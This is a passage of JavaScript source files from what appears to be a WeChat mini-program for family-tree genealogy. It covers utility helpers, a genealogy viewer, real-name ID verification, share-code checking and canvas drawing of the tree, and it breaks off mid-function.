re.msg = res.errMsg + ",statusCode:" + res.statusCode
}
if (func_callback instanceof Function) {
func_callback(re)
}
},
fail(e) {
if (func_callback instanceof Function) {
re.msg = res.errMsg
func_callback(re)
}
}
})
} else {
if (func_callback instanceof Function) {
re.msg = "上传地址、文件名称、路径都不能为空"
func_callback(re)
}
}
}
const createOrder = (func_callback) => {
}
const getPayInfo = (func_callback) => {
}
//设置页面分享信息
function sharePage(title,id) {
let _this = this;
return {
title: title,
imageUrl: "https://miniprogram.mmxp5000.com/attachment/images/share_image.png",
path: "/pages/extraction_code/extraction_code?id=" + id,
}
}
//复制文本
function copy_code(data) {
wx.setClipboardData({
data: data,
success: function (res) {
}
})
}
//获取字符长度数字算半个字符
function getCharLength(str){
var re = 0;
str = ""+str;
var len = str.length
for(var i = 0;i<len;i++){
var char = str.charAt(i)
if (char.match(/[^\x00-\xff]/ig) != null) {
re += 1;
}
else {
re += 0.65;
}
}
return re
}
//弹出框
function showToast(title,icon,duration){
if (!is_empty(title)) {
icon = is_empty(icon) ? 'none' : icon
duration = is_empty(duration) ? 2000 : duration
wx.showToast({
title: title,
icon: icon,
duration: duration
})
}
}
Date.prototype.Format = function (fmt) { // author: meizz
var o = {
"M+": this.getMonth() + 1, // 月份
"d+": this.getDate(), // 日
"H+": this.getHours(), // 小时
"m+": this.getMinutes(), // 分
"s+": this.getSeconds(), // 秒
"q+": Math.floor((this.getMonth() + 3) / 3), // 季度
"S": this.getMilliseconds() // 毫秒
};
if (/(y+)/.test(fmt))
fmt = fmt.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
for (var k in o)
if (new RegExp("(" + k + ")").test(fmt)) fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length)));
return fmt;
}
const formatDate = (format_str)=>{
if (!is_empty(format_str)) {
return new Date().Format(format_str);
}else{
return ""
}
}
module.exports = {
formatTime: formatTime,
extendObj: extendObj,
cloneObj: cloneObj,
is_empty: is_empty,
is_number: is_number,
inputgetName: inputgetName,
doPost: doPost,
sharePage: sharePage,
copy_code: copy_code,
getCharLength: getCharLength,
isJsonString: isJsonString,
doUpload: doUpload,
showToast: showToast,
createOrder: createOrder,
getPayInfo: getPayInfo,
formatDate: formatDate
}<file_sep>// component/ebook/ebook.js
import {
extendObj, is_empty, is_number, doPost, getCharLength
} from "../../utils/util.js"
const computedBehavior = require('miniprogram-computed')
var commonMixin = require('../../utils/commonMixin.js')
const app = getApp()
const config = require("../../config.js")
var oldx = 0;
Component({
behaviors: [computedBehavior],
/**
* 组件的属性列表
*/
properties: {
},
/**
* 组件的初始数据
*/
data: {
baseOss: config.baseOss,
isLoading: false,
showPrevEnd: false,//上翻页结束提示
prevEnd: true,//上翻页结束
prevPage:0,
nextPage: 0,
nextEnd: true,//下翻页结束
showNextEnd: false,//下翻页结束提示
showsearchlist: false,
pixelRatio:1,
outbox:{
width:0,
height:0,
},
inbox: {
width: 0,
height: 0,
},
descHeight:0,
member_list: [],
fontSize:{
level: 20,
zi: 24,
other: 24,
name: 34,
desc: 26,
},
lineHeight: {
level: 20,
zi: 45,
other: 45,
name: 40,
desc: 45,
},
height: {
level: 67,
zi: 73,
other: 85,
name: 122,
desc: 0,
},
search_form: {
keywords: "",
},
searchlist: [],
},
lifetimes: {
attached: function () {
var _this = this
var query = wx.createSelectorQuery().in(_this)
query.select('#jiapu_outside_box').boundingClientRect((res) => {
var c_w = res.width;
var c_h = res.height;
_this.data.outbox.width = c_w;
_this.data.outbox.height = c_h;
wx.getSystemInfo({
success(sinfo) {
_this.data.pixelRatio = 750 / sinfo.windowWidth
//后续执行
_this.init();
_this.loadpage()
}
})
}).exec();
}
},
computed: {
},
/**
* 组件的方法列表
*/
methods: Object.assign({
init:function(obj){
var _this = this
var member_list= [
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于(1200)年(3月),殁与1783年8月,其他介绍如",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李文",
desc: "辈分某,字某某,号某某某,生于1200年3月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月,其他介绍",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月,其他介绍",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月,其他介绍",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
{
id: '',
shi: "三世",
zi: "春",
other: "女婿",
name: "李德文",
desc: "辈分某,字某某,号某某某,生于1200年3月,殁与1783年8月",
},
]
var mlen = member_list.length;
var mlist = [];
var all_width = 0;
_this.data.height.desc = (_this.data.outbox.height - 4) * _this.data.pixelRatio - _this.data.height.level - _this.data.height.zi - _this.data.height.other - _this.data.height.name
for(var i=0;i<mlen;i++){
var member = extendObj([{},member_list[i]]);
console.log("row",i+1);
var mwidth = Math.ceil(getCharLength(member.shi) / Math.floor((_this.data.height.level - 40) / _this.data.fontSize.level)) * _this.data.lineHeight.level;
console.log("width", mwidth);
var temwidth = Math.ceil(getCharLength(member.zi) / Math.floor((_this.data.height.zi - 20) / _this.data.fontSize.zi)) * _this.data.lineHeight.zi;
console.log("width", temwidth);
mwidth = mwidth > temwidth ? mwidth : temwidth;
temwidth = Math.ceil(getCharLength(member.other) / Math.floor((_this.data.height.other - 20) / _this.data.fontSize.other)) * _this.data.lineHeight.other;
console.log("width", temwidth);
mwidth = mwidth > temwidth ? mwidth : temwidth;
temwidth = Math.ceil(getCharLength(member.name) / Math.floor((_this.data.height.name - 10) / _this.data.fontSize.name)) * _this.data.lineHeight.name;
console.log("width", temwidth);
mwidth = mwidth > temwidth ? mwidth : temwidth;
temwidth = Math.ceil(getCharLength(member.desc) / Math.floor((_this.data.height.desc - 20) / _this.data.fontSize.desc)) * _this.data.lineHeight.desc;
console.log("width", temwidth);
mwidth = mwidth > temwidth ? mwidth : temwidth;
member["width"] = mwidth;
all_width += mwidth
mlist.push(member)
}
_this.setData({
member_list: mlist,
inbox: extendObj([{},_this.data.inbox,{
width: all_width
}])
})
},
changeJiapu:function(e){
var _this = this
var x = e.detail.x
var box_width = _this.data.outbox.width - 2;
var content_width = _this.data.inbox.width / _this.data.pixelRatio;
var direction = false;//往后翻页
if(oldx>x){
direction = true;//往前翻页
if (_this.data.showNextEnd) {
_this.setData({
showNextEnd: false
})
}
} else {
if (_this.data.showPrevEnd) {
_this.setData({
showPrevEnd: false
})
}
}
oldx = x;
if (!direction && x > -10) {//后翻页
if (_this.data.nextEnd) {
_this.setData({
showNextEnd: true
})
} else {
_this.loadpage(false)
}
} else if (direction && box_width + 10 > content_width + x) {//前翻页
if (_this.data.prevEnd) {
_this.setData({
showPrevEnd: true
})
} else {
_this.loadpage(true)
}
}
},
loadpage: function (type) {
console.log("loadingpage", type)
var _this = this
if (!_this.data.isLoading){
_this.data.isLoading = true
var page;
type = type ? true : false;
if (type) {
page = _this.data.prevPage
} else {
page = _this.data.nextPage
}
page++;
/*
doPost(url,params,function(res){//获取数据
_this.data.isLoading = false
if(res.code==0){
if (type){//页码回写
_this.data.prevPage = page
} else {
_this.data.nextPage = page
}
_this.setData({//setData
member_list:xxxxx
},function(){
var query = wx.createSelectorQuery().in(_this)
query.select('#jiapu_inside_box').boundingClientRect((res) => {//获取宽度
var c_w = res.width;
var c_h = res.height;
_this.data.inbox.width = c_w;
_this.data.inbox.height = c_h;
if (_this.data.inbox.width < _this.data.outbox.width + 10){//如果宽度不够,则继续获向后翻一页
_this.loadpage();//向后翻页
}
}).exec();
})
}else{
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
*/
}
},
searchSubmit: function () {
var _this = this
var search_form = _this.data.search_form
if (!is_empty(search_form.keywords)) {
doPost("/wx/familyMember/getFamilyMemberByCondition", {
inmap: {
type: _this.data.showtype,
operatorId: _this.data.showtype == "share" ? "" : app.globalData.userInfo.userid,
shareId: _this.data.shareid,
openId: app.globalData.userInfo.openid,
localFamilyMemberId: _this.data.showtype == "share" ? _this.data.sharestart : "",
shareCode: _this.data.sharecode,
familyId: _this.data.familyid,
firstName: search_form.namezi,
name: search_form.fullname,
fatherName: search_form.fname,
motherName: search_form.mname,
}
}, function (res) {
if (res.code == 0) {
if (is_empty(res.data.members)) {
wx.showToast({
title: '没有找到结果',
icon: 'none',
duration: 2000
})
} else {
if (res.data.members.length == 1) {
var member = res.data.members[0]
_this.init({ userId: member.id })
} else {
_this.showSearchList(res.data.members)
}
}
} else {
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
}
},
showSearchList: function (list) {
var _this = this;
if (!is_empty(list)) {
_this.setData({
searchlist: list,
showsearchlist: true,
})
}
},
closeSearchList: function () {
var _this = this;
_this.setData({
searchlist: [],
showsearchlist: false,
})
},
choseResult: function (e) {
var _this = this;
var idx = e.currentTarget.dataset.id;
var member = _this.data.searchlist[idx]
if (member) {
_this.closeSearchList();
_this.init({ userId: member.id })
}
},
}, commonMixin),
})<file_sep>// pages/changerole/changerole.js
import {
extendObj, is_empty, is_number
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
Page({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
rolelist:[],
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
var _this = this;
if (is_empty(app.globalData.userInfo.userid)) {
wx.redirectTo({
url: '../login/login'
})
}
_this.setData({
rolelist: [
{
userid: "",
account: 'mmxp10677032',
nickname: '徐冉洋',
type:1,
avatar:'',
selected: true
},
{
userid: "",
account: 'mmxp10677030',
nickname: 'Whitney~',
type: 2,
avatar: '',
selected: false
},
{
userid: "",
account: 'mmxp10677030',
nickname: '王熙杰',
type: 1,
avatar: '',
selected: false
},
]
})
},
changeSelectRole: function (e) {
var _this = this
var idx = e.currentTarget.dataset.id
if (typeof (idx) != "undefined") {
idx = parseInt(idx)
var role = _this.data.rolelist[idx];
//切换角色操作
if (!role.selected) {
console.log(role);
}
}
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>// pages/real_name/real_name.js
import {
extendObj, is_empty, is_number, doPost, sharePage, copy_code, showToast
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
name: '',
sf_code: '',
z_img: config.baseOss + '/attachment/images/real_name_icon1.png',
f_img: config.baseOss + '/attachment/images/real_name_icon2.png',
is_ok: false,
realyName: '',
idcard: '',
exprieTime: '',
idcardFrontUrl: '',
idcardBackUrl: '',
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function(options) {
let _this = this;
doPost("/user/queryCertification", {
"inmap": {
"userId": app.globalData.userInfo.userid, //用户id
}
}, function (res) {
_this.setData({
realyName: res.data.realyName == null ? '' : res.data.realyName,
idcard: res.data.idcard == null ? '' : res.data.idcard,
exprieTime: res.data.exprieTime == null ? '' : res.data.exprieTime,
idcardFrontUrl: res.data.idcardFrontUrl == null ? '' : res.data.idcardFrontUrl,
idcardBackUrl: res.data.idcardBackUrl == null ? '' : res.data.idcardBackUrl,
})
})
},
//填写姓名和身份证号
input_name: function(e) {
let _this = this;
let realyName = e.detail.value;
_this.setData({
realyName: realyName
});
},
idcard: function(e) {
let _this = this;
let idcard = e.detail.value;
_this.setData({
idcard: idcard
});
},
//身份证到期时间
bindDateChange: function(e) {
let _this = this;
let exprieTime = e.detail.value;
_this.setData({
exprieTime: exprieTime
});
},
//上传身份证照片
changeAvatar: function(e) {
console.log(e);
let _this = this;
let i = e.currentTarget.dataset.i;
wx.chooseImage({
count: 1,
sizeType: ['original', 'compressed'],
sourceType: ['album', 'camera'],
success(res) {
// tempFilePath可以作为img标签的src属性显示图片
let tempFilePaths = res.tempFilePaths[0]
//上传文件到服务器功能开始
wx.uploadFile({
url: config.baseUrl + '/user/uploadIdCardPhoto', //路径
filePath: tempFilePaths,
name: 'idCardPhoto',
formData: {
userId: app.globalData.userInfo.userid
},
success(res) {
if (res.statusCode == 200) {
var data = JSON.parse(res.data)
console.log(data)
if (data.errno == 0 && i == 1) {
_this.setData({
idcardFrontUrl:data.data
})
} else if (data.errno == 0 && i ==2){
_this.setData({
idcardBackUrl: data.data
})
}
}
},
fail(e) {
//上传文件到服务器功能结束
console.log(e)
}
})
}
})
},
//提交
submission: function() {
let _this = this;
if (_this.data.realyName == '') { showToast('您还未填写姓名'); return }
if (_this.data.idcard == '') { showToast('您还未填写身份证号码'); return }
if (_this.data.idcardFrontUrl == '') { showToast('您还未上传身份证正面'); return }
if (_this.data.idcardBackUrl == '') { showToast('您还未上传身份证反面'); return }
doPost("/user/nameCertification", {
"inmap": {
"userId": app.globalData.userInfo.userid, //用户id
"realyName": _this.data.realyName, //用户真实姓名
"idcard": _this.data.idcard, //用户身份证
"exprieTime": _this.data.exprieTime, //身份证到期时间
"idcardFrontUrl": _this.data.idcardFrontUrl, //身份证正面照
"idcardBackUrl": _this.data.idcardBackUrl, //身份证反面照
}
}, function(res) {
if(res.code==0){
wx.showToast({
title: '上传成功,系统正在审核',
icon: 'none',
duration: 2000,
})
wx.navigateBack({
delta:1
})
}else{
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000,
})
}
})
},
// 打开示例
dak: function() {
this.setData({
is_ok: true
})
},
// 关闭示例
qux: function() {
this.setData({
is_ok: false
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function() {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function() {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function() {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function() {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function() {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function() {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function() {
//}
})<file_sep>// pages/extraction_code/extraction_code.js
import {
extendObj, is_empty, is_number, doPost, sharePage, copy_code
} from "../../utils/util.js"
const config = require("../../config.js")
const app = getApp()
var commonMixin = require('../../utils/commonMixin.js')
Page({
/**
* 页面的初始数据
*/
data: {
baseOss: config.baseOss,
value: '', //提取码初始值
headImg: '',
is_ok:true,
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
let _this = this;
let shareInfo = options.scene || options.id + '_' + options.startMemberId;
doPost('/wx/familyMemberShare/shareShow', {
"inmap": {
"shareInfo": shareInfo
}
}, function (res) {
console.log(res)
if(res.code==0){
_this.setData({
data: res.data,
headImg: res.data.cereatorUser.headImg || config.baseOss + '/attachment/images/share_image.png',
})
}else{
_this.setData({
is_ok:false
})
}
})
},
tqm: function (e) {
let _this = this;
console.log(e);
_this.setData({ value: e.detail.value })
},
//验证提取码是否正确,正确则跳转home页
yz_tqm: function () {
let _this = this;
let data = _this.data.data;
doPost('/wx/familyMemberShare/verifyShareCode', {
"inmap": {
"id": _this.data.data.id,
"shareCode": _this.data.value,
"startMemberId": _this.data.data.startMemberId,
}
}, function (res) {
if (res.code == 0) {
wx.showToast({
title: '验证通过',
icon: 'none',
duration: 2000
});
wx.redirectTo({
url: '../editjiapu/editjiapu?showType=share&userId=' + data.startMemberId + '&shareId=' + data.id + '&familyId=' + data.familyId + '&shareCode=' + _this.data.value,
})
} else {
wx.showToast({
title: '提取码错误',
icon: 'none',
duration: 2000
});
}
})
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
//onShareAppMessage: function () {
//}
})<file_sep>// component/tree/tree.js
import {
extendObj, is_empty, is_number, doPost, formatDate
} from "../../utils/util.js"
const computedBehavior = require('miniprogram-computed')
const app = getApp()
const config = require("../../config.js")
var isonetouch = true
var onetouch = {
x: 0,
y: 0
}
var twotouch = {
x1: 0,
y1: 0,
x2: 0,
y2: 0
}
var touchmoving = false;
Component({
behaviors: [computedBehavior],
/**
* 组件的属性列表
*/
properties: {
},
/**
* 组件的初始数据
*/
data: {
backBtn:true,
levelBtn:true,
searchBtn:true,
showChangeLevels:false,
showsearch: false,
showsearchlist: false,
showdetail: false,
showhelp: false,
showop:false,
showAddMember:false,
tap:null,
dbtap:null,
longtap:null,
edittap:null,
viewtap:null,
addtap:null,
deltap:null,
sharetap:null,
width: 0,
height: 0,
member_list: [],
click_count: 0,
dbclick_timeout: null,
showtype: "first",
userId:"",
sharestart:"",
shareid:"",
sharecode: "",
scale: 1,
familyid: 0,
ctx: null,
editinfo:{
member:null,
btns:[],
x:0,
y:0
},
detailinfo: {
gender: '',
name: '',
birthTime: '',
deathTime: '',
age: '',
fatherName: '',
motherName: '',
description: ''
},
search_form: {
fullname: "",
namezi: "",
fname: "",
mname: ""
},
searchlist:[],
childType:{
"NORMAL": "亲子",
"STEP": "继子",
"FZCF": "出抚",
"EMPTY": "",
"FUSUN": "抚孙",
},
member_base_css: {
width: 0,
height: 0,
fontSize: 0,
lineHeight: 0,
borderRadius: 0,
borderWidth:1,
},
jiapu_content_css: {
width: 0,
height: 0,
left: 0,
top: 0,
backgroundImagePath: ""
},
es_bg: {
borderColor: "#85564c",
color:"#fff",
//background: "url('" + config.baseOss + "/attachment/images/es_bg.png') center center no-repeat",
//backgroundSize: "auto 100%",
},
ed_bg: {
borderColor: "#85564c",
color: "#fff",
//background: "url('" + config.baseOss + "/attachment/images/ed_bg.png') center center no-repeat",
//backgroundSize: "auto 100%",
},
man_bg: {
//borderColor: "transparent",
background: "#e34f43",
color: "#fff",
avatar: config.baseOss + "/attachment/images/detail_men.jpg"
//backgroundSize: "auto 100%",
},
fm_bg: {
//borderColor: "transparent",
background: "#3e95ea",
color: "#fff",
avatar: config.baseOss + "/attachment/images/detail_female.jpg"
//backgroundSize: "auto 100%",
},
sel_bg: {
borderColor: "#fde933",
color: "#fde933",
//background: "url('" + config.baseOss + "/attachment/images/sel_bg.png') center center no-repeat",
//backgroundSize: "auto 100%",
},
died_bg: {
borderColor: "#CCCCCC",
background: "#cccccc",
color: "#fff",
//backgroundSize: "auto 100%",
},
unknow_bg: {
borderColor: "#CCCCCC",
background: "#cccccc",
color: "#fff",
},
member_self_css: {},
member_man_css: {},
member_female_css: {},
member_died_css: {},
member_unknow_css: {},
member_man_sort1_css: {},
member_female_sort1_css: {},
//插件使用到的一些变量
member_data: null, //数据
name_width: 198,
name_height: 60,
name_fontsize: 16,
space_width: 60,
space_height: 120,
line_width: 1,
line_color: "#ffffff",
levels: 5, //9代,5代
baseOss: config.baseOss,
},
lifetimes: {
attached: function () {
const _this = this
_this.data.alert = _this.selectComponent("#alert")
_this.data.userId = app.globalData.userInfo.userid
_this.data.familyid = app.globalData.userInfo.familyid
var context = wx.createCanvasContext('jiapu_views', _this)
_this.data.ctx = context
/*_this.setData({
ctx: context
})*/
var query = wx.createSelectorQuery().in(_this)
query.select('#jiapu_outside_box').boundingClientRect((res) => {
var c_w = res.width;
var c_h = res.height;
_this.data.height = c_h
_this.data.width = c_w
_this.setData({
//height: c_h,
//width: c_w,
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
left: c_w / 2,
top: c_h / 2
}])
})
}).exec();
}
},
computed: {
levelName: function (data) {
var ln = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九"]
return ln[data.levels] + "世";
}
},
/**
* 组件的方法列表
*/
methods: {
naviback: function () {
var _this = this
wx.navigateBack({
delta: 1
})
},
init: function (obj) {
var _this = this
if (obj) {
if (!is_empty(obj.left)) {
_this.setData({
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
left: obj.left
}])
})
}
if (!is_empty(obj.top)) {
_this.setData({
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
top: obj.top
}])
})
}
if (!is_empty(obj.backBtn)) {
_this.setData({
backBtn:obj.backBtn
})
}
if (!is_empty(obj.levelBtn)) {
_this.setData({
levelBtn:obj.levelBtn
})
}
if (!is_empty(obj.searchBtn)) {
_this.setData({
searchBtn:obj.searchBtn
})
}
if (!is_empty(obj.tap)) {
_this.data.tap = obj.tap
}
if (!is_empty(obj.dbtap)) {
_this.data.dbtap = obj.dbtap
}
if (!is_empty(obj.longtap)) {
_this.data.longtap = obj.longtap
}
if (!is_empty(obj.edittap)) {
_this.data.edittap = obj.edittap
}
if (!is_empty(obj.viewtap)) {
_this.data.viewtap = obj.viewtap
}
if (!is_empty(obj.addtap)) {
_this.data.addtap = obj.addtap
}
if (!is_empty(obj.deltap)) {
_this.data.deltap = obj.deltap
}
if (!is_empty(obj.sharetap)) {
_this.data.sharetap = obj.sharetap
}
if (!is_empty(obj.showtype)) {
_this.data.showtype = obj.showtype
}
if (!is_empty(obj.shareid)) {
_this.data.shareid = obj.shareid
}
if (!is_empty(obj.sharecode)) {
_this.data.sharecode = obj.sharecode
}
if (!is_empty(obj.userId)) {
_this.data.userId = obj.userId;
}
if (!is_empty(obj.familyid)) {
_this.data.familyid = obj.familyid;
}
if (typeof (obj.levels) == "number") {
_this.data.levels = obj.levels;
}
if (typeof (obj.line_color) == "string") {
_this.data.line_color = obj.line_color;
}
if (typeof (obj.sharestart) == "string") {
_this.data.sharestart = obj.sharestart;
}
if (typeof (obj.space_width) == "number") {
_this.data.space_width = obj.space_width;
}
if (typeof (obj.space_height) == "number") {
_this.data.space_height = obj.space_height;
}
if (typeof (obj.name_width) == "number") {
_this.setData({
name_width:obj.name_width
})
}
if (typeof (obj.name_height) == "number") {
_this.setData({
name_height:obj.name_height
})
_this.data.member_base_css = extendObj([{}, _this.data.member_base_css, { borderRadius: obj.name_height / 2 }]);
}
if (typeof (obj.name_fontsize) == "number") {
_this.setData({
name_fontsize: obj.name_fontsize
});
}
if (typeof (obj.line_width) == "number") {
_this.data.line_width = obj.line_width;
}
}
_this.data.member_base_css = extendObj([{}, _this.data.member_base_css, {
width: _this.data.name_width,
height: _this.data.name_height,
fontSize: _this.data.name_fontsize,
lineHeight: _this.data.name_height
}])
_this.data.member_self_css = extendObj([{}, _this.data.member_self_css, _this.data.member_base_css, _this.data.sel_bg])
_this.data.member_man_css = extendObj([{}, _this.data.member_man_css, _this.data.member_base_css, _this.data.man_bg])
_this.data.member_female_css = extendObj([{}, _this.data.member_female_css, _this.data.member_base_css, _this.data.fm_bg])
_this.data.member_died_css = extendObj([{}, _this.data.member_died_css, _this.data.member_base_css, _this.data.died_bg])
_this.data.member_unknow_css = extendObj([{}, _this.data.member_unknow_css, _this.data.member_base_css, _this.data.unknow_bg])
_this.data.member_man_sort1_css = extendObj([{}, _this.data.member_man_sort1_css, _this.data.member_man_css, _this.data.es_bg])
_this.data.member_female_sort1_css = extendObj([{}, _this.data.member_female_sort1_css, _this.data.member_female_css, _this.data.ed_bg])
var params = {
"inmap": {
"type": _this.data.showtype,
"id": _this.data.userId,
"operatorId": _this.data.showtype == "share" ? "" :app.globalData.userInfo.userid,
"shareId": _this.data.shareid,
"openId": app.globalData.userInfo.openid,
"localFamilyMemberId": _this.data.showtype == "share" ? _this.data.sharestart : "",
"shareCode": _this.data.sharecode,
"familyId": _this.data.familyid,
"upLevel": (_this.data.levels - 1) / 2,
"downLevel": (_this.data.levels - 1) / 2,
}
}
_this.data.alert.loading("加载中...", "icon5")
doPost("/wx/familyMember/getFamilyMemberByInitialize", params,function(res){
if (res.code==0){
//var subTree = new MemberTree(res.data.offset, res.data.members);
//var jiapu_data = subTree.getTargetMember(_this.data.userId);
_this.data.member_data = res.data.members;
_this.data.familyid = res.data.query.familyId
var all_child_count = _this.count_child([_this.data.member_data], 0);
_this.setData({
canvas_css: extendObj([{}, _this.data.canvas_css, {
width: _this.data.space_width * (all_child_count - 1) + _this.data.name_width * all_child_count,
height: _this.data.space_height * (_this.data.levels - 1) + _this.data.name_height * _this.data.levels
}]),
jiapu_content_css: extendObj([{}, _this.data.jiapu_content_css, {
width: _this.data.space_width * (all_child_count - 1) + _this.data.name_width * all_child_count,
height: _this.data.space_height * (_this.data.levels - 1) + _this.data.name_height * _this.data.levels
}])
})
_this.draw()
} else {
_this.data.alert.hide()
wx.showToast({
title: res.msg,
icon: 'none',
duration: 2000
})
}
})
},
draw: function () {
var _this = this
var child_count = _this.count_child([_this.data.member_data], 0);
_this.setData({
member_list: []
})
if (_this.data.ctx) {
_this.data.ctx.clearRect(0, 0, _this.data.canvas_css.width, _this.data.canvas_css.height);
_this.data.ctx.save();
_this.data.ctx.lineWidth = _this.data.line_width
_this.data.ctx.strokeStyle = _this.data.line_color
if (_this.data.member_data.isForeigner) {
_this.draw_child(child_count, [_this.data.member_data.partner]);
} else {
_this.draw_child(child_count, [_this.data.member_data]);
}
_this.data.ctx.draw(true, setTimeout(() => {
_this.fixImage()
_this.data.ctx.restore();
}, 0));
}
},
draw_child: function (all_count, children, count_start, level, position_father) {
var _this = this
all_count = all_count?all_count:0;
count_start = count_start?count_start:0;
level = level?level:0;
children = children?children:[];
if (_this.data.ctx) {
if (children && level < _this.data.levels){
var clen = children.length;
for (var idx = 0; idx < clen; idx++) {
var val = children[idx];
var now_count = _this.count_child([val], level)
var show_count = 1 + (is_empty(val.partners) ? 0 : val.partners.length);
var now_start = count_start + Math.floor((now_count - show_count)/2)
_this.draw_family(val, now_start, level, position_father)
var t_position_father = {
x: now_start * (_this.data.name_width + _this.data.space_width) + (_this.data.name_width / 2),
y: level * (_this.data.name_height + _this.data.space_height) + (_this.data.name_height / 2)
}
if(position_father){
//父子连线开始
_this.data.ctx.beginPath();
_this.data.ctx.moveTo(position_father.x, position_father.y);
if (position_father.x == t_position_father.x) {
_this.data.ctx.lineTo(t_position_father.x, t_position_father.y);
}else{
_this.data.ctx.lineTo(position_father.x, position_father.y + _this.data.name_height / 2 + _this.data.space_height / 2);
_this.data.ctx.moveTo(position_father.x, position_father.y + _this.data.name_height / 2 + _this.data.space_height / 2);
_this.data.ctx.lineTo(t_position_father.x, t_position_father.y - _this.data.name_height / 2 - _this.data.space_height / 2);
_this.data.ctx.moveTo(t_position_father.x, t_position_father.y - _this.data.name_height / 2 - _this.data.space_height / 2);
_this.data.ctx.lineTo(t_position_father.x, t_position_father.y);
}
//沿着坐标点顺序的路径绘制直线
_this.data.ctx.closePath();
_this.data.ctx.stroke();
//父子连线结束
}
if(val.children){
if(false && !is_empty(val.partners)){//有配偶的情况下连线也不居中
t_position_father.x = now_start * (_this.data.name_width + _this.data.space_width) + _this.data.name_width + (_this.data.space_width / 2)
}
_this.draw_child(all_count, val.children, count_start, level + 1, t_position_father)
}
count_start = count_start + now_count;
}
}
}
},
draw_family: function (family, count_start, level, position_father) {
var _this = this
if (_this.data.ctx) {
var draw_obj = {
name: family.firstname + family.lastname,
id: family.id,
sex: family.gender == "M" ? 1 : 2,
sort: family.childOrder,
isLiving: family.isLiving,
father: family.father,
mother: family.mother,
count_start: count_start,
level: level,
isSave: family.isSave ? true : false,
isShare: family.isShare ? true : false,
isDele: family.isDele ? true : false,
isUpdate: family.isUpdate ? true : false,
}
_this.add_item(draw_obj);
if (!is_empty(family.partners)){
var m_count_start = count_start
var m_len = family.partners.length
for (var i = 0; i < m_len; i++) {
m_count_start++
var m_draw_obj = {
name: family.partners[i].firstname + family.partners[i].lastname,
id: family.partners[i].id,
sex: family.partners[i].gender == "M" ? 1 : 2,
isLiving: family.partners[i].isLiving,
father: family.partners[i].father,
mother: family.partners[i].mother,
count_start: m_count_start,
level: level,
isSave: family.partners[i].isSave ? true : false,
isShare: family.partners[i].isShare ? true : false,
isDele: family.partners[i].isDele ? true : false,
isUpdate: family.partners[i].isUpdate ? true : false,
}
